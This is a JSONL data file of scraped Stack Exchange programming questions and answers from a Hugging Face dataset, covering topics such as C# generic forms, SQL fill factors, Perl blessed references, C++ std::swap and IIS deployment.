{"id": "hf_2ab566a96194", "question": "<p>You should be able to create a generic form:</p>\n\n<pre><code>public partial class MyGenericForm&lt;T&gt; :\n    Form where T : class\n{\n    /* form code */\n    public List&lt;T&gt; TypedList { get; set; }\n}\n</code></pre>\n\n<p>Is valid C#, and compiles.  However the designer won't work and the form will throw a runtime exception if you have any images stating that it cannot find the resource.</p>\n\n<p>I think this is because the windows forms designer assumes that the resources will be stored under the simple type's name.</p>\n", "question_body": "", "answer": "I have a hack to workaround this, which works but isn't ideal:\nAdd a new class to the project that inherits the form with its simple name.\n```\n```\ninternal class MyGenericForm:\n    MyGenericForm<object> { }\n```\n```\nThis means that although the designer is still wrong the expected simple type (i.e without\n```\n<>\n```\n) is still found.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.472826"}
{"id": "hf_7f1d2475ad89", "question": "<p>Usually when I'm creating indexes on tables, I generally guess what the <code>Fill Factor</code> should be based on an educated guess of how the table will be used (many reads or many writes).</p>\n\n<p>Is there a more scientific way to determine a more accurate <code>Fill Factor</code> value?</p>\n", "question_body": "", "answer": "You could try running a big list of realistic operations and looking at IO queues for the different actions.\nThere are a lot of variables that govern it, such as the size of each row and the number of writes vs reads.\nBasically: high fill factor = quicker read, low = quicker write.\nHowever it's not quite that simple, as almost all writes will be to a subset of rows that need to be looked up first.\nFor instance: set a fill factor to 10% and each single-row update will take 10 times as long to find the row it's changing, even though a page split would then be very unlikely.\nGenerally you see fill factors 70% (very high write) to 95% (very high read).\nIt's a bit of an art form.\nI find that a good way of thinking of fill factors is as pages in an address book - the more tightly you pack the addresses the harder it is to change them, but the slimmer the book. I think I explained it better on\nmy blog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.508047"}
{"id": "hf_81e6e040ad2f", "question": "<p>We have an SVN repository running on a Windows server, and I want to link internal documentation, feature changes, bugs and so on to code changes.</p>\n\n<p>We've found WebSVN to be amazingly slow - the repository is too large for it (I think).</p>\n\n<p>The team using it is primarily coding in C#, and while some have experience with other languages I'd really like a tool anyone on the team can maintain.</p>\n\n<p>Most of the tools I've seen are based on PHP, Java, Python, etc. All languages the team could learn, but I'd rather something that uses the skills we already have.</p>\n\n<p>Can you recommend a good web-based repository browser for SVN, ideally one that uses ASP.NET, <a href=\"http://en.wikipedia.org/wiki/Microsoft_SQL_Server\" rel=\"nofollow noreferrer\">SQL&nbsp;Server</a> and that runs on <a href=\"http://en.wikipedia.org/wiki/Internet_Information_Services\" rel=\"nofollow noreferrer\">IIS</a>?</p>\n", "question_body": "", "answer": "Have a look at\nhttp://warehouseapp.com\nIt's Mongrel/Ruby/MySQL stack (should work on Windows though)\nbut I'm looking to avoid installing\n  MySQL and Ruby on the server.\nI know (also using C# stack myself), but self-hosted web-based SVN client market is such a small niche that even offering in different language could be considered good enough. MySQL doesn't bite and installation of Ruby is pretty much x-copy command. I understand why you don't want to spoil your server with additional software though, but if are OK to host your SVN repositories with third-party, you get a nice web-based interface without maintenance hassles.\nI'm using\nhttp://unfuddled.com\n(they also have some basic API to hook up on if needed).\nNot to promote reinventing the wheel,\n  but I originally wrote my own web SVN\n  browser by using the\nsvn log --xml\ncommand\nThis is actually good idea. I'm also parsing some XML formatted output during my automated build process, but creating our own full-blown SVN browser is kind of overkill because now you have to maintain not one primary project, but also the tool. But then again, we, programmers, love to create tools that will make working on our primary projects easier.\nASP.NET SVN browser sounds like promising open-source idea, anybody willing to start work on it? I would contribute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.544436"}
{"id": "hf_b02232c3bc64", "question": "<p>What are the pros and cons of using table aliases in SQL?  I personally try to avoid them, as I think they make the code less readable (especially when reading through large where/and statements), but I'd be interested in hearing any counter-points to this.  When is it generally a good idea to use table aliases, and do you have any preferred formats?</p>\n", "question_body": "", "answer": "Well, there are some cases you\nmust\nuse them, like when you need to join to the same table twice in one query.\nIt also depends on wether you have unique column names across tables. In our legacy database we have 3-letter prefixes for all columns, stemming from an abbreviated form from the table, simply because one ancient database system we were once compatible with didn't support table aliases all that well.\nIf you have column names that occur in more than one table, specifying the table name as part of the column reference is a must, and thus a table alias will allow for a shorter syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.653131"}
{"id": "hf_39774a39a4a3", "question": "<p>In Perl, an object is just a reference to any of the basic Perl data types that has been blessed into a particular class.  When you use the ref() function on an unblessed reference, you are told what data type the reference points to.  However, when you call ref() on a blessed reference, you are returned the name of the package that reference has been blessed into.  </p>\n\n<p>I want to know the actual underlying type of the blessed reference.  How can I determine this?</p>\n", "question_body": "", "answer": "And my first thought on this was: \"Objects in Perl are always hash refs, so what the hack?\"\nBut, Scalar::Util::reftype is the answer. Thanks for putting the question here.\nHere is a code snippet to prove this.. (in case it is of any use to anyone).\n```\n$> perl -e 'use strict; use warnings \"all\";\n            my $x = [1]; bless ($x, \"ABC::Def\");\n            use Data::Dumper; print Dumper $x;\n            print ref($x) . \"\\n\";\n            use Scalar::Util \"reftype\"; print reftype($x) . \"\\n\"'`\n```\nOutput:\n```\n$VAR1 = bless( [\n                 1\n               ], 'ABC::Def' );\nABC::Def\nARRAY\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.712788"}
{"id": "hf_b963c22c2b81", "question": "<p>I am trying to code a flowchart generator for a language using Ruby. </p>\n\n<p>I wanted to know if there were any libraries that I could use to draw various shapes for the various flowchart elements and write out text to those shapes. </p>\n\n<p>I would really prefer not having to write code for drawing basic shapes, if I can help it. </p>\n\n<p>Can someone could point me to some reference documentation with examples of using that library?</p>\n", "question_body": "", "answer": "It sounds like you're going to be limited mainly by the capabilities of whatever user agent you're building for; if this is a web project, drawing capabilities are going to be dependent on the browser. Since Ruby is running server-side, you would at minimum need some JavaScript to allow dragging/zooming, etc. There's plenty of examples of JavaScript being used for vector drawing (just google \"javascript graphics library\"), but all require coding, and I haven't seen any library that abstracts this elegantly.\nImageMagick has a Ruby binding called RMagick (sometimes known by other names, depending on the repository). (\nLink\n)\nI haven't used it myself, but I believe it will do what you're looking for. You will need to do some coding, but it's along the lines of\n```\n```\ndraw.rectangle(x1, y1, x2, y2)\ndraw.polygon(x1, y1,...,xN, yN)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.816399"}
{"id": "hf_a79b0e738b37", "question": "<p>We're working on a Log Viewer. The use will have the option to filter by user, severity, etc. In the Sql days I'd add to the query string, but I want to do it with Linq. How can I conditionally add where-clauses?</p>\n", "question_body": "", "answer": "Just use C#'s && operator:\n```\n```\nvar items = dc.Users.Where(l => l.Date == DateTime.Today && l.Severity == \"Critical\")\n```\n```\nEdit: Ah, need to read more carefully. You wanted to know how to\nconditionally\nadd additional clauses. In that case, I have no idea. :) What I'd probably do is just prepare several queries, and execute the right one, depending on what I ended up needing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.853120"}
{"id": "hf_687e2bebff72", "question": "<p>I'd like to start moving our application business layers into a collection of REST web services. However, most of our Intranet has been built using Classic ASP and most of the developers where I work keep programming in Classic ASP. Ideally, then, for them to benefit from the advantages of a unique set of web APIs, it would have to be called from Classic ASP pages.</p>\n\n<p>I haven't the slightest idea how to do that. </p>\n", "question_body": "", "answer": "Here are a few articles describing how to call a web service from a class ASP page:\nIntegrating ASP.NET XML Web Services with 'Classic' ASP Applications\nConsuming XML Web Services in Classic ASP\nConsuming a WSDL Webservice from ASP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.901946"}
{"id": "hf_1be5ada80cb8", "question": "<p>I'm looking for patterns that concern coding parts of a GUI. <strong>Not</strong> as global as <strong>MVC</strong>, that I'm quite familiar with, but patterns and good ideas and best practices concerning single controls and inputs.</p>\n\n<p>Let say I want to make a control that display some objects that may overlap. Now if I click on an object, I need to find out what to do (Just finding the object I can do in several ways, such as an quad-tree and Z-order, thats not the problem). And also I might hold down a modifier key, or some object is active from the beginning, making the selection or whatever a bit more complicated. Should I have an object instance representing a screen object, handle the user-action when clicked, or a master class. etc.. What kind of patterns or solutions are there for problems like this? </p>\n", "question_body": "", "answer": "I think to be honest you a better just boning up on your standard design patterns and applying them to the individual problems that you face in developing your UI.\nWhile there are common UI \"themes\" (such as dealing with modifier keys) the actual implementation may vary widely.\nI have O'Reilly's\nHead First Design Patterns\nand\nThe Poster\n, which I have found invaluable!\nShameless Plug : These links are using my associates ID.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.926703"}
{"id": "hf_2b01f055bb70", "question": "<p>Anyone know how to do this without using a third party program?  If there no way to do it with a add-on someone can recommend one?</p>\n\n<p>EDIT: I need to add this in the server so all users have the same signature.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You need to create your own exchange message sink to do this. Here's a classic VB example from MS KB:\nhttp://support.microsoft.com/kb/317327\nand a VB Script one:\nhttp://support.microsoft.com/kb/317680\nAnd lots of goodness from MSDN about Exchange 2003 Transport Event Sinks:\nhttp://msdn.microsoft.com/en-us/library/ms526223(EXCHG.10).aspx\nIf you're running Exchange 2007 then you can use Transport Rules:\nhttp://msexchangeteam.com/archive/2006/12/12/431879.aspx\nhttp://www.msexchange.org/tutorials/Using-Transport-Rules-Creating-Disclaimers-Exchange-Server-2007.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.967185"}
{"id": "hf_54c7e993f3f2", "question": "<p>I have a small VB.NET application that I'm working on using the full version of Visual Studio 2005. In the <strong>Publish</strong> properties of the project, I have it set to <em>Automatically increment revision with each publish</em>.</p>\n\n<p>The issue is that it's only incrementing the revision in the Setup files. It doesn't seem to be updating the version number in the About Box (which is the generic, built-in, About Box template). That version number seems to be coming from <em>My.Application.Info.Version</em>.</p>\n\n<p>What should I be using instead so that my automatically incrementing revision number shows up in the about box?</p>\n", "question_body": "", "answer": "I'm no VB.NET expert, but have you tried to set the value to for example 1.0.0.*?\nThis should increase the revision number (at least it does in the AssemblyInfo.cs in C#).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.991797"}
{"id": "hf_60db45565cb5", "question": "<p>I'm slowly learning Objective-C and Cocoa, and the only way I see so far to capture key events in Text Views is to use delegation, but I'm having trouble finding useful documentation and examples on how to implement such a solution. Can anyone point me in the right direction or supply some first-hand help? </p>\n", "question_body": "", "answer": "Generally, the way you implement it is simply to add the required function to your view's controller, and set its delegate. For example, if you want code to run when the view loads, you just delegate your view to the controller, and implement the awakeFromNib function.\nSo, to detect a key press in a text view, make sure your controller is the text view's delegate, and then implement this:\n```\n```\n- (void)keyUp:(NSEvent *)theEvent\n```\n```\nNote that this is an inherited NSResponder method, not a NSTextView method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.027296"}
{"id": "hf_427ee67440c4", "question": "<p>I work in VBA, and want to parse a string eg</p>\n\n\n\n<pre><code>&lt;PointN xsi:type='typens:PointN' \nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' \nxmlns:xs='http://www.w3.org/2001/XMLSchema'&gt;\n    &lt;X&gt;24.365&lt;/X&gt;\n    &lt;Y&gt;78.63&lt;/Y&gt;\n&lt;/PointN&gt;\n</code></pre>\n\n<p>and get the X &amp; Y values into two separate integer variables.</p>\n\n<p>I'm a newbie when it comes to XML, since I'm stuck in VB6 and VBA, because of the field I work in.</p>\n\n<p>How do I do this?</p>\n", "question_body": "", "answer": "This is a bit of a complicated question, but it seems like the most direct route would be to load the XML document or XML string via MSXML2.DOMDocument which will then allow you to access the XML nodes.\nYou can find more on MSXML2.DOMDocument at the following sites:\nManipulating XML files with Excel VBA & Xpath\nMSXML -\nhttp://msdn.microsoft.com/en-us/library/ms763742(VS.85).aspx\nAn Overview of MSXML 4.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.050730"}
{"id": "hf_0d889ed73481", "question": "<p>Imagine you want to animate some object on a WinForm. You setup a timer to update the state or model, and override the paint event of the Form. But from there, what's the best way to continually repaint the Form for the animation?</p>\n\n<ul>\n<li>Invalidate the Form as soon as you are done drawing?</li>\n<li>Setup a second timer and invalidate the form on a regular interval?</li>\n<li>Perhaps there is a common pattern for this thing?</li>\n<li>Are there any useful .NET classes to help out?</li>\n</ul>\n\n<p>Each time I need to do this I discover a new method with a new drawback. What are the experiences and recommendations from the SO community?</p>\n", "question_body": "", "answer": "What you're doing is the only solution I've ever used in WinForms (a timer with constant redrawings). There are a bunch of techniques that you can use to make the user's experience with it smoother (such as double-buffering).\nYou might want to give WPF a try. There are built-in facilities for doing animations in WPF, and they're much smoother (and require less code and no synchronization on your part) than a timer-based solution.\nNote that you do not need to use WPF throughout your whole app for that solution; it's possible to pack this functionality into a WPF control and embed the control in a WinForms application (or an unmanaged app, for that matter):\nhttp://www.codeproject.com/KB/WPF/WPF_UserControls.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.086089"}
{"id": "hf_a8eee86a510a", "question": "<p>The following code doesn't compile with gcc, but does with Visual Studio:</p>\n<pre><code>template &lt;typename T&gt; class A {\npublic:\n    T foo;\n};\n\ntemplate &lt;typename T&gt; class B: public A &lt;T&gt; {\npublic:\n    void bar() { cout &lt;&lt; foo &lt;&lt; endl; }\n};\n</code></pre>\n<p>I get the error:</p>\n<blockquote>\n<p>test.cpp: In member function ‘void B::bar()’:</p>\n<p>test.cpp:11: error: ‘foo’ was not declared in this scope</p>\n</blockquote>\n<p>But it should be! If I change <code>bar</code> to</p>\n<pre><code>void bar() { cout &lt;&lt; this-&gt;foo &lt;&lt; endl; }\n</code></pre>\n<p>then it <em>does</em> compile, but I don't think I have to do this. Is there something in the official specs of C++ that GCC is following here, or is it just a quirk?</p>\n", "question_body": "", "answer": "This changed in\ngcc-3.4\n.  The C++ parser got much more strict in that release -- per the spec but still kinda annoying for people with legacy or multi-platform code bases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.181936"}
{"id": "hf_ff3db2dc06f8", "question": "<p>Does SQL Server 2008 ship with the .NET 3.5 CLR, so that stored procedures written in CLR can use 3.5 features?</p>\n", "question_body": "", "answer": "Actually it ships with .NET 3.5 SP1.  So yes, the stored procs can use 3.5 features and libraries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.205504"}
{"id": "hf_0dc68c4d84f4", "question": "<p>I have created a custom dialog for Visual Studio Setup Project using the steps described\n<a href=\"http://www.codeproject.com/KB/install/vsSetupCustomDialogs.aspx?fid=419622&amp;df=90&amp;mpp=25&amp;noise=3&amp;sort=Position&amp;view=Quick&amp;select=2640482&amp;fr=26\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p>Now I have a combobox in one of my dialogs. I want to populate the combobox with a list of all SQL Server instances running on the local network. It's trivial to get the server list ... but I'm completely lost on how to make them display in the combobox. I would appreciate your help and some code might also be nice as I'm beginner :).</p>\n", "question_body": "", "answer": "I've always found the custom dialogs in visual studio setup projects to be woefully limited and barely functional.\nBy contrast, I normally create custom actions that display winforms gui's for any remotely difficult tasks during setup.  Works really well and you can do just about anything you want by creating a custom action and passing a few parameters across.\nIn the dayjob we built a collection of common custom actions for tasks like application config and database creation / script execution to get around custom dialog limitations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.229087"}
{"id": "hf_f4c1bd2c5b64", "question": "<p>Let me try to explain what I need. I have a server that is visible from the internet. What I need is to create a ASP.NET application that get the request of a web Site and send to a internal server, then it gets the response and publish the the info. For the client this should be totally transparent.</p>\n\n<p>For different reasons I cannot redirect the port to the internal server. What I can do but no know how - maybe the answer is there - is to create a new Web Site that its host in the other server.</p>\n", "question_body": "", "answer": "Why won't any old proxy software work for this?  Why does it need to be an ASP.NET application?  There are TONS of tools out there (both Windows and *nix) that will get the job done quite easily.  Check\nSquid\nor\nNetProxy\nfor starters.\nIf you need to integrate with IIS,\nIISProxy\nlooks like it would do the trick too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.252296"}
{"id": "hf_cc1848bf28fb", "question": "<p>Ok, I've seen a few posts that <em>mention</em> a few other posts about not using SP wikis because they suck.</p>\n\n<p>Since we are looking at doing our wiki <em>in</em> SP, I need to know why we shouldn't do it for a group of 6 automation-developers to document the steps in various automated processes and the changes that have to be made from time to time.</p>\n", "question_body": "", "answer": "The default wiki included with Sharepoint doesn't support common wiki features well at all.  There is no way to edit a single section of a page, and no way to link directly to a particular section on another page.  The backend is in HTML so you lose the ability to edit in plaintext using simple syntax.  The diff feature can't span multiple versions.  Poor cross browser support of WYSIWYG editing.  No way to auto-insert a table of contents...\nThere are, however, other wiki add-ins for Sharepoint which I can't categorically dismiss, for instance\nConfluence\nmakes an\nadd-in for Sharepoint\n.  I haven't evaluated this software myself, and Confluence is somewhat expensive ($1,200 for 25 user license) although if you are already on Sharepoint I sense large corporate coffers :P. There also appear to be some free add-ins like\nCKS Enhanced Wiki\nbut that appears to have a lot of the same problems mentioned above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.278550"}
{"id": "hf_9498356d1981", "question": "<p>What is the best way people have found to do String to Lower case / Upper case in C++?</p>\n\n<p>The issue is complicated by the fact that C++ isn't an English only programming language. Is there a good multilingual method?</p>\n", "question_body": "", "answer": "```\n```\n#include <algorithm>\nstd::string data = \"Abc\";\nstd::transform(data.begin(), data.end(), data.begin(), ::toupper);\n```\n```\nhttp://notfaq.wordpress.com/2007/08/04/cc-convert-string-to-upperlower-case/\nAlso, CodeProject article for common string methods:\nhttp://www.codeproject.com/KB/stl/STL_string_util.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.302970"}
{"id": "hf_11d51dce45aa", "question": "<p><code>std::swap()</code> is used by many std containers (such as <code>std::list</code> and <code>std::vector</code>) during sorting and even assignment.</p>\n\n<p>But the std implementation of <code>swap()</code> is very generalized and rather inefficient for custom types.</p>\n\n<p>Thus efficiency can be gained by overloading <code>std::swap()</code> with a custom type specific implementation. But how can you implement it so it will be used by the std containers?</p>\n", "question_body": "", "answer": "You're not allowed (by the C++ standard) to overload std::swap, however you are specifically allowed to add template specializations for your own types to the std namespace. E.g.\n```\n```\nnamespace std\n{\n    template<>\n    void swap(my_type& lhs, my_type& rhs)\n    {\n       // ... blah\n    }\n}\n```\n```\nthen the usages in the std containers (and anywhere else) will pick your specialization  instead of the general one.\nAlso note that providing a base class implementation of swap isn't good enough for your derived types. E.g. if you have\n```\n```\nclass Base\n{\n    // ... stuff ...\n}\nclass Derived : public Base\n{\n    // ... stuff ...\n}\n\nnamespace std\n{\n    template<>\n    void swap(Base& lha, Base& rhs)\n    {\n       // ...\n    }\n}\n```\n```\nthis will work for Base classes, but if you try to swap two Derived objects it will use the generic version from std because the templated swap is an exact match (and it avoids the problem of only swapping the 'base' parts of your derived objects).\nNOTE: I've updated this to remove the wrong bits from my last answer. D'oh! (thanks puetzk and j_random_hacker for pointing it out)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.387263"}
{"id": "hf_3ef050b61dfb", "question": "<p>For my blog I am wanting to use the Output Cache to save a cached version of a perticular post for around 10 minutes, and thats fine...</p>\n\n<pre><code>&lt;%@OutputCache Duration=\"600\" VaryByParam=\"*\" %&gt;\n</code></pre>\n\n<p>However, if someone posts a comment, I want to clear the cache so that the page is refreshed and the comment can be seen.</p>\n\n<p>How do I do this in ASP.Net C#?</p>\n", "question_body": "", "answer": "Hmm. You can specify a VaryByCustom attribute on the OutputCache item. The value of this is passed as a parameter to the GetVaryByCustomString method that you can implement in global.asax. The value returned by this method is used as an index into the cached items - if you return the number of comments on the page, for instance, each time a comment is added a new page will be cached.\nThe caveat to this is that this does not actually clear the cache. If a blog entry gets heavy comment usage, your cache could explode in size with this method.\nAlternatively, you could implement the non-changeable bits of the page (the navigation, ads, the actual blog entry) as user controls and implement partial page caching on each of those user controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.423295"}
{"id": "hf_7f7504ef5be8", "question": "<p>Certainly there's the difference in general syntax, but what other critical distinctions exist?  There are <em>some</em> differences, right?</p>\n", "question_body": "", "answer": "This topic has had a lot of face time since .Net 2.0 was released. See this\nWikipedia\narticle for a readable summary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.495804"}
{"id": "hf_6e4743cf762b", "question": "<p>What is the best way of doing case-insensitive string comparison in C++ without transforming a string to all uppercase or all lowercase?</p>\n\n<p>Please indicate whether the methods are Unicode-friendly and how portable they are.</p>\n", "question_body": "", "answer": "Assuming you are looking for a method and not a magic function that already exists, there is frankly no better way. We could all write code snippets with clever tricks for limited character sets, but at the end of the day at somepoint you have to convert the characters.\nThe best approach for this conversion is to do so prior to the comparison. This allows you a good deal of flexibility when it comes to encoding schemes, which your actual comparison operator should be ignorant of.\nYou can of course 'hide' this conversion behind your own string function or class, but you still need to convert the strings prior to comparison.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.523393"}
{"id": "hf_bc4da471c726", "question": "<p>I haven't touched sharepoint in years.  If I want to setup a development environment to get up to speed, what options do I have?  I don't have an MSDN license, is there anyway I can get up and running for free? (for development only)</p>\n", "question_body": "", "answer": "There is no way you can have a MOSS 2007/WSS 3.0 development for free but a\nMicrosoft Action Pact\nis so cheap to get. :)\nThere is a nice blog to read to get the requirements and the steps to get a full MOSS 2007 image up and running here :\nHow to Create a MOSS 2007 VPC Image: The Whole 9 Yards\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.564464"}
{"id": "hf_a45226d1c060", "question": "<p>On my <strong>Windows XP</strong> machine Visual Studio 2003 2005 and 2008 all complain that I cannot start debugging my <strong>web application</strong> because I must either be a member of the Debug Users group or of the Administrators group. So, I am an Administrator and I added Debug Users just in case, and it still complains.</p>\n\n<p>Short of reformatting my machine and starting over, has anyone encountered this and fixed it [with some undocumented command]?</p>\n", "question_body": "", "answer": "You could try running \"\n```\nVsJITDebugger.exe -p <PID>\n```\n\" on the command line. I've had a simalar situation and been able to debug the application using the above.\n\"\n```\nVsJITDebugger.exe /?\n```\n\" will show you all the options.\nThe PID can be found either in the task manager (view->Select Columns...) or Visual Studio's Attach to Process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.647121"}
{"id": "hf_2bd435d4f8a3", "question": "<p>I am developing an application to install a large number of data files from multiple DVDs.  The application will prompt the user to insert the next disk, however Windows will automatically try to open that disk either in an explorer window or ask the user what to do with the new disk.<br>\nHow can I intercept and cancel auto play messages from my application?</p>\n", "question_body": "", "answer": "There are two approaches that I know of.  The first and simplest is to register the special Windows message \"QueryCancelAutoPlay\" and simply return 1 when the message is handled.  This only works for the current window, and not a background application.\nThe second approach requires inserting an object that implements the COM interface\n```\nIQueryCancelAutoPlay\n```\nCOM interface into the Running Object Table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.671528"}
{"id": "hf_76aca6ac8516", "question": "<p>I'm not new to web publishing, BUT I am new to publishing against a web site that is frequently used.  Previously, the apps on this server were not hit very often, but we're rolling out a high demand application.  So, what is the best practice for publishing to a live web server?</p>\n\n<ol>\n<li>Is it best to wait until the middle\nof the night when people won't be on\nit (Yes, I can pretty much rely on\nthat -- it's an intranet and\ntherefore will have times of\nnon-use)</li>\n<li>Publish when new updates are made to\nthe trunk (dependent on build\nsuccess of course)</li>\n<li>If 2 is true, then that seems bad if someone is using that specific page or DLL and it gets overwritten.</li>\n</ol>\n\n<p>...I'm sure there are lots of great places for this kind of thing, but I didn't use the right google search terms.</p>\n", "question_body": "", "answer": "@Nick DeVore wrote:\nIf 2 is true, then that seems bad if\nsomeone is using that specific page or\nDLL and it gets overwritten.\nIt's not really an issue if you're using ASP.NET stack (Webforms, MVC or rolling your own) because all your aspx files get compiled and therefore not touched by webserver. /bin/ folder is completely shadowed somewhere else, so libraries inside are not used by webserver either.\nIIS will wait until all requests are done (however there is some timeout though) and then will proceed with compilation (if needed) and restart of AppDomain. If only a few files have changed, there won't even be AppDomain restart. IIS will load new assemblies (or compiled aspx/asmx/ascx files) into existing AppDomain.\n@Nick DeVore wrote:\nHelp me understand this a little bit\nmore. Point me to the place where this\nis explained from Microsoft. Thanks!\nTry google for \"IIS AppDomain\" keywords. I found\nWhat ASP.NET Programmers Should Know About Application Domains\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.732631"}
